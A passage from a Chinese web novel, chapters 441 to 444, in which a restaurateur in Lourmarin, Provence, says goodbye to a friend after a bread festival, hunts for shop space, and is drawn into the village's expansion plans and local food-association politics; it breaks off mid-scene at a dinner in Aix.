最重要的自然是一级活动,例如在甜瓜之都卡瓦永举办的甜瓜美食节、橄榄油重要产区尼永举办的橄榄油盲品大赛等,背后除了有普罗旺斯美食协会等官方协会,还会有各地政府的支持,无论是参与者还是赞助商都需要准入门槛,但相应的回报也很巨大。 第二类活动是由各个分支机构或者品牌方举办的,例如在巴农举办的山羊奶酪滚球赛、在阿维尼翁举办的陶罐料理大赛和梅纳村的面包大赛等,活动影响力远低于一级。 这其中重要的不同点,就是当地政府对该活动的重视程度。 罗南叹气: “因为梅纳村实在太抢手了,各种类型的活动都喜欢扎堆在这里举办,政府的资源有限。” 略伦特继续不满的嘟囔: “但普罗旺斯是一片和美食息息相关的土地,美食活动的重视程度远不该这么低。” 普罗旺斯这片土地的属性实在太多了,罗南至少听过七八种说法,说这里是属于XX的土地。 不过被梅纳村看不上的美食活动是卢尔马兰可望而不可及的。 罗南小心翼翼的问: “美食协会想过去卢尔马兰举办活动吗?我猜卢尔马兰政府一定会积极配合的。” 既然想要抓住‘普罗旺斯热’的契机,就要尽可能多的争取到曝光机会,去其他村子参加哪有做东道主来的有用? 如果面包大赛在卢尔马兰举办,罗南可以‘想尽办法’把游客直接从比赛场地带往他的餐厅或者斯特斯加未来的酒庄操作的空间太大了。 略伦特稍微思考了几秒,咂了下嘴: “这个还真没考虑过,卢尔马兰的美食属性似乎不太突出啊。” 本地人对卢尔马兰唯一的印象就是拥有几个出众的艺术家,除此之外没其他的了。 罗南笑着说: “今年不一样了。” 罗南想直接说‘卢尔马兰的目标是成为粉红酒之都’,又担心略伦特和其他人一样,听到粉红酒‘望而却步’,于是换了一套说辞: “卢尔马兰今年的游客数量非常不错,复活节没开始我的餐厅就排队了,我相信政府一定会大力配合美食协会的活动,如果需要,我可以约你们双方接触一下?” 略伦特想都没想便点头答应下来,热情的回应: “那可太好了,等我忙完手里的事情,一定要给我们介绍认识。” 罗南看出这是‘虚假’的应和,没有过多强求: “好的,那我等您的消息。” 未来和略伦特的接触会非常频繁,这件事无需急于一时。 梅纳村的面包大赛举行三天,正好覆盖复活节假期。 托尔要在最后一天赶火车离开,为了不耽误罗南去梅纳村,他毅然决然的拒绝了罗南送他去阿维尼翁的决定。 罗南抗议道: “你在普罗旺斯待了5天,2天都在梅纳村帮忙,说带你出去玩一玩,最后也只局限在卢尔马兰我们早上走,一路上带你转几个村子,完全可以赶上下午的火车。” 托尔的餐盘里放的全部是新鲜的水果,只拿了半片面包和一小块黄油。 他一边往嘴子塞水果,一边模糊不清的说: “可我玩的非常开心!” 罗南知道托尔心系梅纳村的面包大赛,继续劝阻道: “那这样,我不去,我让其他人送你去阿维尼翁,和面包大赛没有关系的斯特斯加员工,让他带你转一转。” 托尔挥动了一下手中的叉子: “不用,找回去的车时,我还能顺道在卢尔马兰转一圈,这里我还没有玩够呢。” 不给罗南继续反驳的机会,托尔憨厚的说: “等我把卢尔马兰玩完,明年再去其他村子,以后我每年都会来。” 每一次临别前,托尔都会变得格外开朗和健谈,以‘稀释’临别的伤感。 这顿早饭,他的嘴一刻不得闲: “我想再去卢尔马兰教堂看看,上次去的时候已经是下午,听说上午有礼拜。” “想去买一杯甜瓜汁,我馋了好几天了。” “想再去看看那些蜜蜂,不知道它们‘罢工’结束了没有?” “我还想再去看看喷泉,我好像没有看完所有,卢尔马兰的喷泉太多了。” “我还想去和朋友们道别.” 托尔开心对罗南说: “我在卢尔马兰有许多朋友了。” 罗南吃完饭就要去梅纳村。 托尔一路把罗南送到了车子旁边: “去吧,今天一定要多卖点,把我那份也卖出来。” 罗南摇下车窗对他说: “放心,我今天一定会吆喝的格外卖力。” “记得提前打电话补货,昨天包子断货了一个多小时。” “我会的,我会提前许久让她们开始准备。” “旗子,今天结束别忘了把旗子拿回来,那是你的荣誉。” “我会把它带回来,之后找机会给你寄去巴黎,那里也有你的荣誉。” “再见罗南。” “再见托尔,路上小心。” “哈哈,这次我依然可以说,希望下次来普罗旺斯是参加好朋友的婚礼,你一定要快一点啊,别让我等太久,我会想这里的。” “我一定尽快让你回来,我发誓!” 第442章 当托失败 复活节的最后一天下午,梅纳村依然人头攒动,甚至有第一天到达的‘新人’。 许多游客选择把复活节假期和五一小长假连接到一起,形成一个十几天的大长假,一次性把普罗旺斯玩个痛快。 但这些晚来的人只能看到一个面包大赛的尾巴。 应梅纳村的政府要求,组委会需要在当天把场地打扫干净。 梅纳村广场是各种大型活动的重要举办地,他们应对五一假期的其他活动要开始筹备了。 为了配合举办方后续的收尾工作,各个参展方也在下午3点开始陆续收东西。 ‘肥羊’还在,但活动结束了这使得略伦特在内的普罗旺斯美食协会成员更加‘抱怨’梅纳村政府的无情。 人家金三角不缺活动,下一个活动的等级和规模比面包大赛高,他们只能赶紧走人。 但这种抱怨也只能憋在心里。 未来还要求着人家政府给活动和支持呢。 可以说,梅纳村不缺面包大赛,但面包大赛离不开梅纳村。 虽然很无情,但该要的有的礼仪还在。 在活动的最后一天,梅纳村的村长和官员也来到了面包大赛场地,并和普罗旺斯美食协会的各位重要会员进行了亲密的交谈。 当然了,能有这次愉快的会谈,离不开我们的交际花略伦特先生。 “阿道夫,你看,虽然展示区开始陆续撤离,展品也少了许多,但是依然抵挡不住游客们的热情啊。”略伦特看着四周说,“普罗旺斯离不开美食。” 梅纳村村长阿道夫语气平和的说: “正因如此,梅纳村才会和面包大赛合作了这么多年,你知道的,许多活动举办了一两届我们就停止合作,梅纳村只会举办被人们所喜爱的活动。” 他扭过头来,笑着对大家说: “我相信,明年的面包大赛依然会是成功的,各位今年辛苦了。” 两天前,略伦特组织双方进行过一次晚宴,目的是希望在明年能让面包大赛的时间长一点、政府的支持力度大一点,但是在那次会谈中,双方的观点并没有达成一致。 阿道夫说,在复活节到五一小长假期间,梅纳村的每一个活动都很重要,也都是传统活动、每年都举办的那种。 给了面包大赛更多的时间和支持,就要压缩其他活动的时间和资源.他太为难了。 普罗旺斯美食协会的各位回来开了一个小会,如果面包大赛的支持只能如此,不如双方再进行一个新的合作,一个更大、更高级的合作? 于是这次见面,略伦特转弯抹角的表达——一年一见太长了,我的朋友,我想你啊。 略伦特做了一个耸肩的动作,半真半假的说: “实不相瞒,我真的很喜欢这里,明年再见我舍不得。” 阿道夫笑着说: “你们可以随时来梅纳村,现在各种活动之间的交集也很多,一定会很快相见的。” “好的,希望我们能多多的见面!”略伦特笑着说,“走,我们再去那边看看。” 略伦特是一个圆滑的家伙,他喜欢找‘刁钻’的角度达成目的,而不喜欢用强的,见阿道夫不上钩便不想再多言,未来从长计议。 可旁边有人觉得略伦特太‘墨迹’了,直截了当的说道: “阿道夫,我们之间的合作应该更加密集,27年了,面包大赛连续和梅纳村合作了整整27年.也许我们可以开展些更加深入的合作?” 吕贝隆的明星村子就那么几个,美食协会希望有更多的活动能落地这里。 只有在旅游业发达的地区举行活动,才能带来亮眼的收获。 阿道夫态度是热情的,但说出来的话是刺骨的: “我们当然希望和普罗旺斯美食协会进行更加密集和深入的合作,但场地和资源确实有限,未来梅纳村还会兴建2个大型广场和3个活动中心,等5年后我们的条件允许了一定多多的和你们合作,大家不要着急。” 略伦特等人互看了一眼,同时看到了同伴眼睛里的震惊。 梅纳村的核心区域在十几年中经历了近3倍的扩建,从典型的‘鸟巢式’村落扩建到了山地-平原结合、古典-现代结合的大村子。 论村落核心区域范围和现代化程度,戈尔德都不及依靠旅游转型而‘一炮而红’的梅纳村。 而这样的梅纳村还要继续扩建吗? 这太可怕了 已经跑到嘴边,想要施加一些压力的话语,被各位美食协会的会员咽了下去,说出口的全部变成了恭维。 “那太棒了,期待那一天的到来。” “你们还要修建什么,已经有两所博物馆了,不会还要修建第三座吧?” “上帝,梅纳村绝对是吕贝隆最繁华的村子!” 双方热情的交流结束,众人在广场分道扬镳。 一扭头,略伦特的半永久笑脸就扯平了。 他小声对周围的几个同僚说: “看这个形势,短时间内让梅纳村拿出更多资源的可能性已经很低了。” 这里不像‘甜瓜之都’卡瓦永和‘蜜饯之都’阿普特那样,是以美食闻名,可以和美食协会有着很好的关系。 梅纳村最大的特色是艺术属性和吕贝隆范围最出名的集市,政府对这两个领域的投入是巨大的。 “但我们不能放弃这里,梅纳村的游客量很庞大,慢慢来吧。” “其实不止是梅纳村,我们和戈尔德至今都没有过什么大型合作,都是小范围的,博尼约和我们的关系密切些,但也不能什么活动都落在那里啊。” “但金三角就这三个村子,其他村子的游客量和关注度和他们没有办法相比。” 协会内部的人态度出现了分歧,野心勃勃的略伦特总结发言: “两手准备吧,继续和金三角保持密切的联系以寻求更多的合作,同时找一找其他的地方,比如像艾克斯那样的城镇,也在我们的劝说下,要打造甜品之都的名号。” 冥冥之中,略伦特瞥到了正在收拾东西的罗南: “或者其他村庄.” 提前离开梅纳村,罗南终于在小长假期间见到了卢尔马兰的热闹样子。 “游客真多啊,我们和金三角的差距在肉眼可见的一点点变小。”罗南搬东西回餐厅时,不停的左右打量,和旁边的佐伊开心的说,“这和去年的卢尔马兰完全不一样了。” “人太多了,多到我都快不认识方向了。”佐伊不停的闪躲行人,“以前我闭着眼睛都能走回家。” 罗南回头说: “一会搬完东西,我们去四处转转,看看‘小吃街’上有没有出现什么新的东西。” “好啊。”佐伊开心的回应,“再去阿兰的店里买点面包,我爸爸说他喜欢那里的蜂蜜面包。” 放下了东西,罗南和佐伊手拉着手走在卢尔马兰的街道上。 别看他们是本地人,但是脸上的表情和外地游客差不多,眼神里既陌生又有新奇。 旅行季开始后,卢尔马兰给人的感觉像是一个新出生的婴儿,可能只是一天没见,就觉得变了样子。 每次出来,都能有不同的感受,也会发现新的东西。 路过游客中心,罗南把佐伊拉进去: “我听特奥说,游客中心新出了一个留言板,我们去看看游客们是怎么描述卢尔马兰的。” 佐伊跃跃欲试的说: “我们也去写两句。” “托吗?”罗南笑着说,“被发现了可不好。” 佐伊调皮的说: “我们落一个别人的名字。” 罗南拉紧佐伊的手,挤入游客中心: “可以,我用托尔的名字写!” 留言板刚挂出来三天,但上面的留言已经几乎写满了。 小情侣各自挑选了一个角落,写下了他们对卢尔马兰的印象。 罗南落笔之前,发现他的‘隔壁’有一个人用了极大的篇幅写了一大段话,像是作文似的。 那人的笔迹非常狂野,每个字母都又圆又大,一眼就让人看到了那里。 抱着好奇的态度,罗南没有动笔,而是读起了这名游客对卢尔马兰的印象。 “我喜欢卢尔马兰,因为在这里遇到的人对我的称呼从‘您’变成了‘你’,这代表他们喜欢我了。” 读完第一段话,罗南不由得勾起了嘴角。 这名游客的视角好奇特。 不过在法国,把您换做是你是一个很重要的标志,许多人认识了一辈子,还是用‘您’来称呼对方。 罗南继续往下看。 “我喜欢卢尔马兰,这里的人不穿名牌服装,只穿几十法郎的旧衬衫、短裤和拖鞋,却能收获周围人最大的友好。 我喜欢卢尔马兰,在这里不需要不停的看表,因为这里遵循‘差不多’原则。 我喜欢卢尔马兰,在这里吃饭的时候不需要看电视,因为那会影响看美丽晚霞的时间。 我喜欢卢尔马兰,我吃的比以前好了、比以前健康了,但却用着更便宜的钱。 我喜欢卢尔马兰,在这里我变得爱运动了,可能只是想出去散散步,却一玩就是一整天。 我喜欢卢尔马兰,因为这里有我的朋友们,罗南、佐伊、歌迪亚、薇薇安、宝莱特、皮埃尔请你们替我继续在卢尔马兰幸福的生活,我会想念你们的! 托尔。” 第443章 狼遇到了羊 复活节结束,佐伊继续监督游泳池的修建,那是她在这一次装修环节中最看重的地方。 同时,她也会给游泳池做一些配饰,例如陶瓷制品,用自己的风格来装饰她和罗南的家。 佐伊要做的东西罗南并不擅长,他利用这段时间去做了另外一件事。 提供给米切兰杂志社采访用的场地还迟迟没有准备,需要赶紧行动起来了。 复活节后的第二天。 提前约好桑德琳的时间,罗南、桑德琳和巴蒂坐到一起,认真的筹谋一下要如何展开。 得知米切兰杂志社的态度,桑德琳和巴蒂非常开心,虽然编织家具的露出非常‘软性’,但是免费的啊。 如果布置的足够丰富且多样,说不定可以吸引来许多米切兰杂志社旗下杂志的关注。 但问题同样不小. “我们没有场地了。”巴蒂非常头疼的说,“我家已经腾不出地方给采访使用.虽然我很想那样做。” 卢尔马兰手工艺合作社的‘大本营’是巴蒂家。 这是巴蒂自己提出来的,他无比开心于每天能有那么多妇女去他家。 除此之外,编织项目的体验也是在巴蒂家的院子里进行。 卢尔马兰的房子面积普遍不小,还都配有院子,但那里又是妇女,还有游客,同时还要给巴蒂居住使用.无法再挤出地方用来采访。 “我让路易帮忙介绍空置的房子,你们看的怎么样?”早在半个月前,罗南就认为什么事情都安排在巴蒂这里不合适。 妇女们习惯了聚集在一起干活,可以不管,但‘旅游项目’还是要分出去的。 卢尔马兰手工艺合作社的运营状态虽然没有特别火爆,但承担一所房子的租金没有问题。 可是将近一个月过去,巴蒂和路易都没提这件事,似乎没有找到合适的房子? 巴蒂腼腆一笑: “路易给我找了两所在租的房子,是我没有进行后续的推进,我觉得现在这样非常好,不需要把参观项目挪出去,要不然你们等一等,我好好筹谋一下,看看能不能布置出一块大一些的场地?” 巴蒂认为留在卢尔马兰是一个无比正确的决定。 他之前四海为家、走南闯北不就是为了见识各地美女的风貌吗? 现在好了,每天都有来自世界各地的美女来他家。 巴蒂只需要搬好板凳看就行。 看到哪位女士遇到困难,就热情的过去帮忙,之后自然而然的喝两杯,再成为她们卢尔马兰的旅游向导,这日子过的太棒了! 如果采访也留在他家。 之后来他家的女孩一定更加多了! 桑德琳正襟危坐,摇着头说: “一块空置场地不够,要布置出不同风格的好几个背景,且最好各自独立,这样才能吸引来更多编辑把采访放到这里。” 罗南和桑德琳的态度一致,也认为做就要好好做,不能将就: “一会我去找路易一趟,租下来一所专门的房子做这件事。” 巴蒂的梦想破灭,不过态度还是很积极: “好,那你来规划如何设计,我和你一起做。” 如果要租下一整间房子,布置好里面所需要的工程量应该非常大,罗南和巴蒂两个人恐怕有些吃力,他抬头问: “现在妇女们的编织水平如何了?” 巴蒂无比自豪的说: “现在大家做花环和灯像是吃饭一样轻松,比较简单的家具也大多可以独立完成,比较厉害的几个人,例如皮雷、约瑟芬和阿克芒娜做家具都非常熟练了。” 正好聊到这个话题,桑德琳补充道: “这个月的订单量较上个月提高了30%,家具卖的也相对较好,总共卖出去了40多把椅子,从来没有出现过人力短缺的现象,我估计即使我们的订单量提升一倍,大家也干的过来。” “那太好了。”罗南开心的说,“这样未来开了旗舰店,我们可以把品类扩的更加大了。” 目前编织家具只涉及椅子一个领域,也只卖罗南第一批做出来的那十几种样子,除了店面太小的影响,罗南还担心品类太多,人手不够。 现在他可以放心了,这些做了一辈子手工活的妇女们手都非常巧。 提到旗舰店,桑德琳追问道: “你所说的那个在卢尔马兰开设的家具店,大概什么时候可以落成?” 罗南回忆着之前布兰科说过的卢尔马兰建设计划回答: “商业街的二期和三期最快也要年底或者明年年初竣工,下一个旅行季才可以使用上。” 桑德琳叹了一口气: “我在想,我们租下了房子,除了要用编织家具布满背景,肯定还要进行一定的装修,而且是较为复杂的装修,因为那里未来要接待的不止是杂志里的员工,很可能还有各个领域的嘉宾.你应该知道装修是一件多么麻烦的事情,一年内两次大修既费时又费力,如果能把采访区域放到那所旗舰店里就好了。” 桑德琳近期正在饱受装修之苦,同样的痛苦她不想再多吃两次了。 罗南抱胸思考了一下,觉得确实有些道理: “这样吧,我问问路易在租的房子里有没有配置比较好的,可以让我们直接进行软装布置的那种,这样就能省下装修的时间和精力,无非就是多花点钱,未来搬家拿走那些家具和配饰就好了。” 桑德琳和巴蒂互看了一眼: “好,那我们等你的消息。” 罗南的餐厅太火爆了。 之前拿那里当办公室的路易,已经不好意思每天霸占一张桌子一整天了。 顾客是否买房是未知数,变量太大,但来一桌客人可以带来实打实的法郎。 他现在又回复到了之前的工作模式,把客户约到自己的办公室里。 只是这样一来,他离家的时间又变长了。 每天早出晚归,晚上会和月亮一起到家。 从巴蒂的院子出来,罗南打算晚一些去找路易,于是先回了餐厅帮忙。 在这里,他遇到了正在餐厅里帮忙的维埃里。 “哟,今天没抢着出去发号码?”罗南一见维埃里便开玩笑的问。 维埃里做了一个‘不屑’的表情: “我都可以独立负责一个集市摊位了,她还是一个迎宾员,给她多点锻炼的空间吧。” 在罗南等人去参加面包大赛时,维埃里很好的完成了梅纳村集市的任务。 上午罗南不放心跑去看了一次,发现摊位前井然有序的排着长队,收银、点单、维持秩序各司其职,一点都没乱,摊位后面的维埃里和伊莎贝尓也顾不上斗嘴了,配合的格外默契,像是‘老夫老妻’一样。 罗南逗他说: “但伊莎贝尔每个月工资加上回家做编织,一个月可以赚6000多法郎,我听你姐姐说,你的生活费这个月才涨到500法郎?” 维埃里绝对算是‘富家子弟’,村子里其他同龄孩子的生活费普遍在200-300法郎区间,节俭一些的可能只有100法郎。 维埃里义正严辞的说: “但是我没要妈妈给的生活费,你给我的工资足够花了,未来我可以自己养活自己。” 每次维埃里去集市帮忙,罗南都会给他80法郎的报酬,餐厅这里每个月也会给他几百。 还没毕业的维埃里早就开始拿起‘工资’了。 但是罗南不知道的是.这小子居然这么小就闹经济独立了? 罗南揉了揉他的脑袋: “你先安心应对一个多月之后的考试,其他的别想,5月份也别来帮忙了,未来有的是时间。” 维埃里倔强的摇了摇头: “我也需要换换脑子。” 法国家庭对孩子的学习成绩看的相对比较开放,路易和莉亚还同意维埃里继续来帮忙,罗南也就不再劝什么了,只是嘱咐: “好,但下个月你干点轻松的。” 维埃里欢快的说: “这里的活儿都不累啊,还没有半场比赛的消耗大,等考完试,我约你踢球。” 罗南痛快的答应下来: “可以,考完试我再带去四处玩玩。” 维埃里似乎不想接这个话题,拿着盘子离开: “我定好了要和同学出去玩,你去忙吧,我也去后厨了。” 罗南在背后叫住他: “路易每天大概几点到家?” 维埃里想都没想便脱口而出: “爸爸今天有3个客户要见,还要带一对夫妻去博尼约看房子,大概要7点半左右回家。” 罗南对着维埃里的背笑了一下,也离开了。 这父子俩的交流挺密切啊,维埃里居然知道路易每天在忙什么。 这些信息佐伊都不知道。 吃完晚饭,罗南送佐伊回家,之后留在这里等路易。 果然,7点40院子里响起了车子的引擎声。 路易红光满面的推开大门,见到罗南和佐伊坐在沙发上有些意外的问: “你们今天这么早就回来了?” 虽然佐伊还没有嫁出去,但这个家对她来说也只是一个睡觉的地方。 她的工作室搬到了罗南家。 人一睁眼就往罗南家跑。 路易早早的开始适应女儿离家的生活,并且渐渐接受。 这么早见到女儿,他还有些不适应了。 “我来找你的。”罗南笑着说。 佐伊起身去厨房: “我们在路上买了馅饼和樱桃派,今天妈妈要晚些回家,我去给你热一下。” 路易坐到佐伊原先的位置上问罗南: “什么事?” 罗南开门见山的说: “我想在卢尔马兰租一所房子,一所内部设施和装修比较不错的房子。” 这本是路易的专业领域,但他却露出了愁容: “这种房子可以买到,但租太难了,我帮你留意一下,有了我马上通知你。” “这么难找吗?”罗南颇为意外的问,在他的印象中,卢尔马兰有许多大门紧闭、从来没见人出入过的房子,应该都是在出租或者出售的。 路易给自己倒了一杯冰镇粉红酒,一口干了,显然今天白天说了不少话: “卢尔马兰的房市比你想的更加火爆,有这种好的房源一出来就被人签走去做别的了,出来一个没一个。” 罗南好奇的问: “签走去做什么了?” 餐厅是艺术家的‘信息枢纽’,罗南没听说村里又要开什么新的画廊、手工陶坊或者其他艺术品商店。 路易掰着手指头说: “上上个月有人租下来开了一间五金杂货铺,你没看到吗,就在亨利家的边上;上个月出来了一间配置还不错的,听说要开发廊;这周有人租下来老广场周围的一间老宅卖果酱。” 罗南兴奋的‘啊’了一声: “卢尔马兰终于有自己的五金杂货铺和发廊了?” 上帝,这太棒了! 以前买五金和剪头发要跑去梅纳村呢。 路易耸肩: “还有唱片店和奶酪店的老板也在找和你同样需求的房子,不过你放心,只要有了房源,我一定会第一时间联系你。” 罗南摸着下巴小声嘀咕: “想来卢尔马兰开商铺的人,已经多到容纳不下了而且不再局限于艺术领域。” 路易又给自己倒了第二杯粉红酒: “以前卢尔马兰只有和生活相关的居民商铺,商业度很低的,未来会有越来越多的‘第一家’出现在这里的街道两旁。” 路易开心的自言自语起来: “房价和地价一定会继续攀升,我和莉亚也要考虑多配置一些土地了。” 最近路易很忙,罗南不想耽误他的休息时间,而且他还没有吃晚饭呢,聊了一会便离开。 佐伊把罗南送到门口,两个人听到动静一回头,见到路易端着给他准备的馅饼和樱桃派敲响了维埃里的房门,‘甜腻’的问: “亲爱的维埃里,要劳逸结合啊,学累了没有,要吃点馅饼和樱桃派吗?” 罗南指着里面,表情复杂的问佐伊: “他们什么时候变成这样了?” 佐伊翻了一个巨大的白眼: “是他,不是他们,只有爸爸这样.维埃里根本就不想理他。” 罗南开怀大笑的说: “也许很快就是他们了。” 第二天一早。 吃过早饭,罗南直接去了卢尔马兰政府。 他想问问政府还有没闲置的谷仓可以借给他,就像给艺术家们开特色集市那样的。 但希尔维和克劳德看到他的眼神非常不一样,像是狼遇到了羊。 他们几乎是把罗南推上楼的: “罗南,你怎么这么久没来找我们啊,快上去吧,和布兰科好好聊一聊!” 第444章 有趣的三角关系 罗南停在布兰科的办公室外敲了敲门。 很快,里面响起布兰科熟悉的声音: “请进。” 罗南先探了个脑袋进去观察,确认没有其他人才笑着走进去: “路过昆西的办公室发现门敞开着,我还以为他在你这里。” 布兰科二话没说低头打开柜子,拿出了他珍藏的水晶杯: “昆西的驻派结束,回阿维尼翁去了,上次做实验剩下的酒还放在我这里,你不来都没有机会喝它们。” 罗南知道朱莉特已离开,没想到昆西也走了。 “你平时也可以喝啊。”罗南坐到布兰科的对面,“别喝太多,累的时候喝一小杯,我看其他人都是这样做的。” 在普罗旺斯,酒可以治愈一切身体上和疲劳相关的疾病。 越是忙碌的人,越要想方设法的喝几杯。 布兰科给罗南倒了半杯粉红酒,又给自己倒了一点点,叹着气说: “可是最近忙到连喝酒的力气都没了,每天回家我妻子都休息了,我已经连续三天没有和她说晚安。” 罗南意外的抬起眼睛: “最近那么忙吗?” 罗南以为卢尔马兰政府忙碌的日子结束了,因为昆西和朱莉特都离开了。 这预示着工作阶段性结束。 怎么会比之前还忙? 布兰科端着杯子起身,站到了墙上那幅卢尔马兰地图前面。 他敲了敲中间那个像蜗牛壳一样的建筑密集区域说: “卢尔马兰要扩建了。” “什么时候?明年吗?还是后年?”罗南端着杯子问。 在之前和布兰科的对话中,罗南从未听过这个消息。 布兰科把杯子里只有一个底的粉红色液体喝掉: “今年,不,应该说马上,昆西临走前催促尽快提交第二次预算申请,同时他还要求我们先使用地方财政拨款尽快开始扩建工作。” “这么着急?”罗南放下杯子不解的问。 斯特斯加还没建好,城堡正在翻修中,卢尔马兰的基础建设也正在如火如荼的进行,这些都还没有完成,就要进行下一阶段工作了? 酒精很好的缓解了布兰科的焦虑,他又给自己倒了一个杯底的粉红色液体: “事实上,原先只是想把商业街第二期和第三期的修建提前,在讨论规划时我们突然发现,以卢尔马兰现在的情况和游客量,应该再增加一所可以进行简单看诊的药房、一所小型的艺术培训学校和可以容纳更多人的正式广场——” 布兰科笑着耸肩: “类似的发现不断的出现,后来我们决定,直接扩建吧,这次扩建后,卢尔马兰的村庄密集区域会比之前大30%左右,这个想法太突然了,之前从未做过准备,昆西要的急,你不知道这几天我们是怎样过来的。” “我认为你们的决定是正确的。”罗南斟酌着说,“昨天我找路易租房子时发现,卢尔马兰拥有了属于自己的五金店铺和理发店,还有之前没有出现过的果酱商店,这些新的东西应该尽可能多的出现在卢尔马兰,但以现在的卢尔马兰大小可能无法容纳它们。” 布兰科意外的问: “你要租房子?做什么用?” 聊的话题太远,罗南差点忘记这次来的目的: “我想给卢尔马兰手工艺合作社找一个店铺,我们在阿普特的门店太小了,放不了什么家具,不过这下子好了,商业街的二期和三期建设是不是提前了?” 如果商业街的二期和三期建设提前,罗南可以稍微等一等,连房子都不租了,将来一步到位。 布兰科突然开心的笑起来,又给罗南倒了一杯酒: “我们真是心有灵犀啊,这个店铺已经在我们的计划中。” 罗南喝酒的动作一顿,意外的问: “你们的扩建方案里,还需要店铺类别?” 这是不是太细致了我的伙计。 布兰科苦涩的叹气: “不要忘记,扩建的钱是哪里来的啊,向旅游局申请资金就要拿出最详尽的计划,扩建后卢尔马兰会变成什么样子、有了什么新的变化都是必不可少的细节,而且我们在上一份申请书中指出过,未来卢尔马兰要走高端和小众的路线,当时只是一个展望,这一次再提交申请就不是喊口号那么简单了,要落实到细节上什么东西小众?哪些东西是高端的?” 罗南理解的点了点头: “可以,那把卢尔马兰手工艺合作社的店铺写进计划里吧,未来我们的主要经营范围会改为编织家具,走小众和高端路线,应该可以帮助卢尔马兰提升小众和高端的属性。” 说完,罗南不好意思的摸了下鼻子: “大家这么熟悉,我就不客气了,我希望那个店铺大一点,除了正常卖东西的展区,我还要拿出一部分区域做采访用,米切兰杂志社的主编答应把一些采访放到有编织元素的房子里进行,给我们一些曝光度。” 布兰科不假思索的答应下来: “这是自然的,卢尔马兰手工艺合作社作为卢尔马兰的一个门面,值得一个位置好、面积大的店铺。” “太感谢你了布兰科。”罗南激动的坐直身体。 和布兰科聊天永远那么舒服,他可以贴心的解决自己想到和没想到的所有问题。 这种舒服感和略伦特带来的‘虚假’舒服不同。 布兰科让人无比踏实! 不过这一次,让人踏实的布兰科居然出现了‘心虚’的表情: “你也说了,大家都那么熟了,那我也不客气了。” 他挪了挪屁股,显得非常忐忑: “在未来的商业区域,我们希望给你留不止这一个店铺。” 罗南没有表现出来什么意外: “还要开一家餐厅吗?没有问题,我和我爸爸讨论过卢尔马兰二店的问题,这个我们早有准备,只是不知道到时候还能不能抢到人。” 老妈冯珍一直觉得店太小了,还后悔把楼上的两层都做了住宅。 罗南也觉得可以阔一下店面。 不过招工可能是个难题。 布兰科说过,商业街的二期和三期会比一期规模大,还有药房和学校等新的设施,再加上最近来的那些理发店和果酱铺未来卢尔马兰会出现许许多多的新岗位,本村人可能都不够用了,说不定要去外村找人。 不过这也是好事。 在人口结构没有失衡、青壮年无外流的前提下,劳动力短缺是村庄活力的象征。 布兰科‘如释重负’的说: “你们提前想过这个问题就好,那这个我也写进申请书了。” 罗南点头答应下来: “可以,还是中餐厅。” 布兰科第三次给罗南倒酒: “那么第三个——” “等等。”罗南瞪大眼睛,不敢碰那酒,“第三个?什么第三个?” 布兰科‘老脸一红’: “你要理解一下我们,两次申请中间只有2个多月的时间,可以拿出手的亮点不多,这其中最突出的就是你在卢尔马兰办的餐厅和那些旅游项目,连昆西都说你厉害,干一个成一个,干什么都行.你必须得多‘负责’些事情,我们才能顺利的申请下来预算,罗南,你就帮帮我们吧。” “可是我拿到第三个店铺干什么?”罗南惊慌失措的问。 布兰科扶住罗南的肩膀,生怕他跑了: “商业街二期和三期最快的一部分设施预计在9月之前竣工,你还有许多考虑的时间,不要着急,慢慢想,但是记得要贴合高端和小众的主题啊,我相信你一定可以的。” 罗南从卢尔马兰政府拿到过太多好处,不止是钱还有无尽的资源,这几天政府又安排人给罗南的餐厅修新的指引牌了。 布兰科难得‘求’他一次,罗南就是再不愿意也要答应下来。 不过除了不知道要干什么外,罗南也担心自己的钱包遭不住: “二期和三期的建筑依然支持租和买吗?” 罗南指的是一期的合作模式。 布兰科点头: “是的,我们还会延续之前的方式。” 罗南咬着牙说: “三间店铺成本太高了。” 布兰科安慰罗南: “买确实高,但如果是租的话.对你来说应该没有压力吧。” 罗南是卢尔马兰的纳税大户,布兰科知道他的收入大概在什么范围。 而且他还知道罗南有其他的‘灰色’收入,就比如买卖只能用现金的黑松露。 你就别哭穷了。 罗南长长的呼出一口大气。 卢尔马兰的房价在1990前后会来到一个夸张的数值,所以有‘羊毛’可以薅他无法忽视。 按照第一次合作来看,政府标的地价的确没有优惠,以当月的市价来结算,但那些政策太吸引人了。 罗南餐厅200平米的大院子全当赠送了。 这种送的到嘴边的‘肥羊’怎么能吐出去呢? 又得努力赚钱了.罗南在心里鼓励自己。 餐厅、斯特斯加和编制三条腿都要加快脚步了。 想到这里,罗南对对面的布兰科说: “扩建的时候,再多考虑一个纬度吧。” “什么?”布兰科认为他们想的已经够全面了,还忽视了什么吗? 罗南敲着酒杯说: “考虑举办活动的问题,我们是否有能够承接大型活动的室内和室外场地?” 见布兰科沉默不语,罗南继续说道: “想要和金三角拉近差距,除了吸引游客还要提升地区影响力,卢尔马兰要承办到一定规模的大型活动,才能让更多的人认可这里。” 布兰科挂着笑容摁住了太阳穴: “难题又多了一重啊。” 下午。 罗南开车去往艾克斯,在那里和略伦特先生和桑松女士吃了一顿相当有意思的晚饭。 为什么是有意思呢? 因为这三个人之间的关系实在太奇特了。 桑松女士的目标是罗南,罗南的目标是略伦特,略伦特的目标是桑松他们形成了一个闭环。 这实在太有趣了。 在这三层关系中,‘讨好’做的最明显的是桑松,她毫不掩饰对罗南的尊重和喜欢,几次开口让罗南开价给她做可以和‘相思鸟’匹配的作品。 ‘讨好’稍含蓄的是略伦特。 其实略伦特做的也很含蓄,可能由于罗南了解了他的秉性,感觉他说什么都是带着目的性的。 而做的最不露痕迹是的罗南。 他也想通过这顿饭得到些什么,毕竟开车来回要4个多小时呢! 但身边两个人的话实在太密了,罗南完全插不进去啊。 “尝尝这里的芝士南瓜派。”桑松女士主动帮罗南分饭后甜品,“这是这家餐厅的特色。” 地位最高的桑松女士是今晚的‘主宾’,她全程围绕艺术相关的话题讨论,略伦特只能‘见缝插针’的加入些其他的元素: “桑松女士太会吃了,普罗旺斯的芝士南瓜派这里说第二没有人敢说第一。” 说完,他给桑松女士分了一块: “尤其要热的时候吃,夫人,您也趁热吃吧。” 桑松女士的眼睛里只有罗南: “罗南,你最近做什么新的甜品了吗?” 罗南低头掩饰笑容: “最近在忙着准备结婚,没有顾得上创作。” 这已经是今晚的第二份甜品,因为三个人都没有达成各自的目的,不肯离开。 眼看再不努力就没戏了,略伦特硬生生的把话题掰到了另一个频道: 